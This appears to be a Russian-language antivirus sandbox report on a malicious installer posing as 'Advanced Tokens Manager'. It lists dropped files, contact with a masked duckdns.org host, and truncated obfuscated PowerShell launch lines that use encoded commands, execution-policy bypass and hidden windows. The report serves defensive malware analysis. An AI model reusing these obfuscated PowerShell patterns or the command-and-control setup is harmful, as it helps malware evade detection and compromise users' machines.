Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W 1 -C poweRsheLl ([char]45+[char]101+[char]110+[char]99) cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAUABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAH...
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\advanced tokens manager.exe
- %TEMP%\is-qakjg.tmp\jpn.lng
- %TEMP%\is-qakjg.tmp\rus.lng
- %TEMP%\is-qakjg.tmp\ita.lng
- %TEMP%\is-qakjg.tmp\fra.lng
- %TEMP%\is-qakjg.tmp\esp.lng
- %TEMP%\is-qakjg.tmp\deu.lng
- %TEMP%\is-qakjg.tmp\enu.lng
- %TEMP%\is-qakjg.tmp\main.ini
- %TEMP%\is-qakjg.tmp\eula.rtf
- %TEMP%\is-qakjg.tmp\vclimg250.bpl
- %TEMP%\is-qakjg.tmp\vcl250.bpl
- %TEMP%\is-qakjg.tmp\rtl250.bpl
- %TEMP%\is-qakjg.tmp\axcomponentsvcl.bpl
- %TEMP%\is-qakjg.tmp\axcomponentsrtl.bpl
- %TEMP%\is-qakjg.tmp\localizer.dll
- %TEMP%\is-qakjg.tmp\commonforms.site.dll
- %TEMP%\is-qakjg.tmp\sqlite3.dll
- %TEMP%\is-qakjg.tmp\browserhelper.dll
- %TEMP%\is-qakjg.tmp\cfahelper.dll
- %TEMP%\is-qakjg.tmp\setupcustom.dll
- %TEMP%\is-qakjg.tmp\integrator.exe
- %TEMP%\is-qakjg.tmp\_isetup\_setup64.tmp
- %TEMP%\is-pjgng.tmp\advanced tokens manager.tmp
- %PROGRAMDATA%\auslogics\disk defrag\9.x\logs\checkserialnumber.log
- %TEMP%\is-qakjg.tmp\googleanalyticshelper.dll
Удаляет следующие файлы
- %TEMP%\is-qakjg.tmp\main.ini
Сетевая активность
TCP
Запросы HTTP GET
- http://do###.#uckdns.org:8080/webtest/Browser.jsp?so########################################################## via do###.duckdns.org
Запросы HTTP POST
- http://www.go#####analytics.com/collect
UDP
- DNS ASK do###.duckdns.org
- DNS ASK go#####analytics.com
Другое
Создает и запускает на исполнение
- '%APPDATA%\advanced tokens manager.exe'
- '%TEMP%\is-pjgng.tmp\advanced tokens manager.tmp' /SL5="$10020E,14713639,167936,%APPDATA%\Advanced Tokens Manager.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -W 1 -C poweRsheLl ([char]45+[char]101+[char]110+[char]99) cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAUABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAH...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAUABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAt...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden -command
